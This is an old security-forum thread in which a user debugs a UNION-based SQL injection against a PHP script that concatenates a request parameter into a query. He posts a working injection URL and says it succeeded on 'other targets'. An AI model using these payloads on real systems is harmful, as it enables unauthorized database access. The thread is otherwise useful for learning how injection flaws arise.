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IT Security and Insecurity Portal |
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sql injection question |
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 Posted: Wed Apr 19, 2006 9:25 am |
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| daemon_azazel |
| Regular user |
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| Joined: Apr 16, 2006 |
| Posts: 17 |
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hi there,
i'm testing a following application which contains this line in script.php:
| Code: | | $final = sql_query ('' . 'SELECT column1 FROM table1 WHERE colum2=' . $_REQUEST['variable']); |
application has also possibility to switch debug mode on to see the
query being executed and error if occurs.
so i try to inject sql this way:
/script.php?bebug=1&variable=0 UNION SELECT column3 FROM table2 WHERE column4=11
application breaks with following output on the screen:
| Quote: | Query: SELECT column1 FROM table1 WHERE colum2=0 UNION SELECT column3 FROM table2 WHERE column4=11
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT column3 FROM table2 WHERE column4=11' at line 1 |
what is damn strange is that from query statement it looks like query is OK, moreover when i execute such query thru shell access i got result exactly as expected.
however when i try to inject, it throws out an error despite everything
seems to be OK.
please could you let me hear your opinions what may cause that this
injection fails? |
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| Posted: Mon Apr 24, 2006 12:55 pm |
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| daemon_azazel |
| Regular user |
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| Joined: Apr 16, 2006 |
| Posts: 17 |
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well problem solved. thread may be closed.
target i was testing had some very low version of mysql and thus no
union support. other targets worked fine, just improved specification
was needed:
/script.php?debug=1&variable=0 UNION SELECT table2.column3 FROM database.table2 WHERE table2.column4=11 |
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